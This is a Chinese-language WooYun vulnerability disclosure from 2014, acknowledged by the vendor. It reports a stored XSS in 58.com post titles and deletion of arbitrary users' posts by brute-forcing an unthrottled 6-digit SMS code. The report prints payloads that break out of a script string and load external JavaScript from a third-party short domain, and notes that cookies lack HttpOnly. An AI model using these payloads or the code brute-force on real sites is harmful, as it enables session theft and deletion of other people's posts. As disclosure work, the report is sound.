漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-072166
漏洞标题:58同城存储型XSS ( 25个字符加载JS ) + 任意手机号码的帖子删除
相关厂商:58同城
漏洞作者: 0x_Jin
提交时间:2014-08-13 10:27
修复时间:2014-09-27 10:30
公开时间:2014-09-27 10:30
漏洞类型:xss跨站脚本攻击
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-08-13: 细节已通知厂商并且等待厂商处理中
2014-08-13: 厂商已经确认,细节仅向厂商公开
2014-08-23: 细节向核心白帽子及相关领域专家公开
2014-09-02: 细节向普通白帽子公开
2014-09-12: 细节向实习白帽子公开
2014-09-27: 细节向公众公开
简要描述:
不说了 之前把精力全耗在主域上面 另外感谢parsec众基友的思路跟短域名
详细说明:
挖漏洞实在挖到太晚了 没精力写详细了 就这样写吧 忘谅解!看在这么努力挖洞的份上别走小厂商流程了把!
http://m.58.com/cs/cwzengsong/18047282901898x.shtml?refrom=wap
问题存在于发表一个帖子的标题处
这是截图。在pc端的网页上 标题也输出在了 meta 的content 里 但是由于25个字符的限制导致不能造成比较有影响力的漏洞(在这里耗费了很长的时间尝试去绕过)。。。
后来转念一想 不是还有m.58 的手机网页么 就访问下手机域名下的这个帖子
发现 标题有三处输出 其中一处被带入了 script 内。
测试一下发现 双引号未过滤 妥了 写代码。
看图:
代码如下:
<script>window._bd_share_config={"common":{"bdSnsKey":{},"bdText":"【租房 买房 找工作 找服务就上手机58|m.58.com】"+alert(1)+" - 雨花宠物赠送/领养 - 长沙58同城","bdMini":"2","bdMiniList":false,"bdPic":"","bdStyle":"0","bdSize":"32"},"share":{}};with(document)0[(getElementsByTagName('head')[0]||body).appendChild(createElement('script')).src='http://bdimg.share.baidu.com/static/api/js/share.js?v=89860593.js?cdnversion='+~(-new Date()/36e5)];</script>
payload :"+alert(1)+" 花了12个字符
本想就此打住提交的 结果parsec群里的几个基友就开始说了 怎么不加载钩子什么的
(之前我稍微看了下没jquery 就放弃了 后来发现jquery 被改名了 改成jq了 然后我立马斗志就来了)
再加上索马里的海贼的短域名 qaz.me相助 就更加有信心了
于是再次构造payload 来加载js
最终payload: "+loadJS("//qaz.me")+" (22字符)
最终以22字符的payload 成功加载外部js
cookie 未做httponly
上张图:
另外一个就是任意手机号码的帖子删除
在这个界面可以查询手机号发了哪些帖子
选中其中一条删除 就会发送6为纯数字的验证码到手机上 又没对验证码做时间限制。也没对客户端所提交的验证码次数进行限制。
上图一张:
当提交的payload 为793196时就正确了 返回值为true 也确实删除了!
漏洞证明:
问题存在于发表一个帖子的标题处
这是截图。在pc端的网页上 标题也输出在了 meta 的content 里 但是由于25个字符的限制导致不能造成比较有影响力的漏洞(在这里耗费了很长的时间尝试去绕过)。。。
后来转念一想 不是还有m.58 的手机网页么 就访问下手机域名下的这个帖子
发现 标题有三处输出 其中一处被带入了 script 内。
测试一下发现 双引号未过滤 妥了 写代码。
看图:
代码如下:
<script>window._bd_share_config={"common":{"bdSnsKey":{},"bdText":"【租房 买房 找工作 找服务就上手机58|m.58.com】"+alert(1)+" - 雨花宠物赠送/领养 - 长沙58同城","bdMini":"2","bdMiniList":false,"bdPic":"","bdStyle":"0","bdSize":"32"},"share":{}};with(document)0[(getElementsByTagName('head')[0]||body).appendChild(createElement('script')).src='http://bdimg.share.baidu.com/static/api/js/share.js?v=89860593.js?cdnversion='+~(-new Date()/36e5)];</script>
payload :"+alert(1)+" 花了12个字符
本想就此打住提交的 结果parsec群里的几个基友就开始说了 怎么不加载钩子什么的
(之前我稍微看了下没jquery 就放弃了 后来发现jquery 被改名了 改成jq了 然后我立马斗志就来了)
再加上索马里的海贼的短域名 qaz.me相助 就更加有信心了
于是再次构造payload 来加载js
最终payload: "+loadJS("//qaz.me")+" (22字符)
最终以22字符的payload 成功加载外部js
cookie 未做httponly
上张图:
另外一个就是任意手机号码的帖子删除
在这个界面可以查询手机号发了哪些帖子
选中其中一条删除 就会发送6为纯数字的验证码到手机上 又没对验证码做时间限制。也没对客户端所提交的验证码次数进行限制。
上图一张:
当提交的payload 为793196时就正确了 返回值为true 也确实删除了!
修复方案:
xss 修复的话 你们虽然限制了长度 可是你们引用的一些js 的类 库 可以当做我们的帮手。你直接去除了' 号 那么也过滤掉"号吧 还有一些危险的函数也过滤掉! 反正xss的修复方法那么多 也不差我这一个
任意帖子的删除的话,验证码设置有效时间。客户端所提交验证码次数应该有限
版权声明:转载请注明来源 0x_Jin@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:20
确认时间:2014-08-13 13:20
厂商回复:
感谢对58安全的关注,确认存在漏洞,会尽快修复处理!
最新状态:
暂无